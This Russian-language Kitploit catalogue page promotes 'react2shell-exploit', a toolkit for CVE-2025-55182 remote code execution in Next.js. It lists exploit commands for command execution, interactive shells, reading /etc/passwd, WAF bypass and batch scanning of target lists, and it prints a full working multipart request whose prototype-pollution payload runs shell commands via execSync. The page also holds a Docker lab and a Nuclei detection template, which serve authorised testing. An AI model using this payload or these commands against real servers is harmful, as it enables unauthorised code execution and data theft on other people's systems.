Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
react2shell-exploit — React2Shell-Exploit — полная структура эксплуатации для CVE-2025-55182, включая эксплойт на Python, уязвимую Docker-лабораторию, ручную и автоматизированную эксплуатацию в Burp Suite, шаблон обнаружения Nuclei и проверенный рабочий процесс тестирования. Разработано для тестирования на проникновение и образовательных исследований. | Kitploit
Инструменты/GitHubGitHub/rubensuxo-eh/react2shell-exploit
Сканеры уязвимостейФреймворки для эксплойтовЭксплуатация веб-приложенийОбход WAFТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеРазработка Полезной Нагрузки
Лаборатории и Практика
GitHubrubensuxo-eh/react2shell-exploit

react2shell-exploit

Репозиторий
412710 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →

Описание

React2Shell-Exploit — полная структура эксплуатации для CVE-2025-55182, включая эксплойт на Python, уязвимую Docker-лабораторию, ручную и автоматизированную эксплуатацию в Burp Suite, шаблон обнаружения Nuclei и проверенный рабочий процесс тестирования. Разработано для тестирования на проникновение и образовательных исследований.

Поделиться

🐺 React2Shell-Exploit-Kensei

CVE-2025-55182 - Удаленное выполнение кода в Next.js (RCE)

Эксплойт-фреймворк + уязвимая лаборатория + валидация Burp Suite и Nuclei.

Полный фреймворк для эксплуатации и среда уязвимой лаборатории для исследований безопасности и пентеста.

╔═══════════════════════════════════════════════════════════════╗
║              🐺 React2Shell-Exploit-Kensei 🐺                 ║
║              CVE-2025-55182 Exploitation Tool                 ║
║                                                               ║
║  Author: Ruben Suxo - Ethical Hacker (kensei)    v2.5.0      ║
╚═══════════════════════════════════════════════════════════════╝

🎯 Обзор

React2Shell-Exploit-Kensei — это комплексный набор инструментов для эксплуатации CVE-2025-55182, критической уязвимости удаленного выполнения кода в приложениях Next.js.

Он включает:

  • 🐍 Эксплойт на Python (автоматический и ручной режимы)
  • 🐳 Уязвимая лаборатория в Docker (Next.js 16.0.6)
  • 🔥 Шаблоны эксплуатации для Burp Suite
  • 🚨 Шаблон обнаружения для Nuclei
  • 🧪 Проверенные тестовые сценарии

Затронутые версии:

  • Next.js < 16.0.7
  • React 19.0.0

Оценка CVSS: 10.0 (Критическая)

✨ Возможности

🔨 Эксплуатация

✅ Автоматическая эксплуатация ✅ Интерактивная оболочка ✅ Выполнение команд ✅ Чтение файлов ✅ Обход WAF ✅ Пакетное сканирование

🧪 Установка лабораторной среды Docker — Предварительные требования

Для запуска уязвимой лаборатории необходимо установить Docker.

ПлатформаСсылка для установки
Windowshttps://docs.docker.com/desktop/install/windows/
macOShttps://docs.docker.com/desktop/install/mac-install/
Linuxhttps://docs.docker.com/engine/install/

Проверка установки:

docker --version

📖 Документация

✅ Руководство по Burp Suite ✅ Шаблон Nuclei ✅ Полные примеры


🚀 Быстрый старт

# 1. Клонирование
git clone react2shell-exploit
cd react2shell-exploit
chmod +x react2shell-exploit.py

# 2. Запуск лаборатории
cd docker
docker build --no-cache -t react2shell-lab .
docker run -d -p 3002:3002 --name react2shell-lab react2shell-lab

# 3. Эксплуатация
python3 react2shell-exploit.py --url http://localhost:3002 --cmd "whoami"

💻 Примеры использования

Сканирование

python3 react2shell-exploit.py --url http://target.com --scan

Выполнение команды

python3 react2shell-exploit.py --url http://target.com --cmd "id"

Интерактивная оболочка

python3 react2shell-exploit.py --url http://target.com --shell

Чтение файла

python3 react2shell-exploit.py --url http://target.com --read /etc/passwd

Обход WAF

python3 react2shell-exploit.py --url http://target.com --cmd "whoami" --waf-bypass

Пакетное сканирование

python3 react2shell-exploit.py --list targets.txt --scan --threads 20

🔍 Ручная эксплуатация

Burp Suite

Проверено, работает — Шаблон запроса:

POST / HTTP/1.1
Host: target.com:3002
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
Content-Length: 734

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami',{timeout:30000}).toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/exploit?out=${encodeURIComponent(res)};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

Ожидаемый ответ:

"children":["__PAGE__?{\"out\":\"root\"}",{}]

Ручное тестирование WHOAMI: Мой скриншот

Ручное тестирование IFCONFIG: Мой скриншот

Альтернативные методы автоматического обнаружения:

  • ✅ Расширение Extensibility Helper:
    1. Перейдите в Extensions:
    2. Установите "Extensibility Helper" и перейдите в него

Мой скриншот

  1. Перейдите в "Bambda Store"
  2. Найдите "CVE-2025-55182,CVE-2025-66478 - React2Shell"

Мой скриншот

  1. нажмите "import"

Мой скриншот

  1. Запустите "Audit Selected Items"

Мой скриншот

Мой скриншот

Мой скриншот

  1. Проверьте, что на вкладке Custom отмечено "CVE-2025-55182,CVE-2025-66478 - React2Shell" Мой скриншот
  • ✅ ActiveScan++: Автоматическое обнаружение

Мой скриншот

Nuclei

Проверено, работает:

nuclei -target http://target.com:3002 -t nuclei/CVE-2025-55182.yaml

Вывод:

[CVE-2025-55182] [http] [critical] http://target.com:3002/

Мой скриншот

🐺 Авторы

Автор: Ruben Suxo — Этичный хакер (kensei)
Версия: 2.5.0
Дата: 2025-12-06

Исследования и вдохновение

Этот проект основан на исследованиях и техниках:

  • assetnote/react2shell-scanner — Реализация сканера
  • freeqaz/react2shell — Техники эксплуатации
  • whiteov3rflow/CVE-2025-55182-poc — Доказательство концепции

Обнаружение уязвимости

  • Lachlan Davidson (@lachlan2k) — Первоначальное обнаружение CVE-2025-55182

⚠️ Правовое предупреждение

Только для авторизованного тестирования безопасности.

Несанкционированный доступ незаконен. Используйте только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.


📄 Лицензия

MIT License


🐺 Взломай планету — Ответственно

Только в образовательных целях. Используйте этично.

Скачать инструмент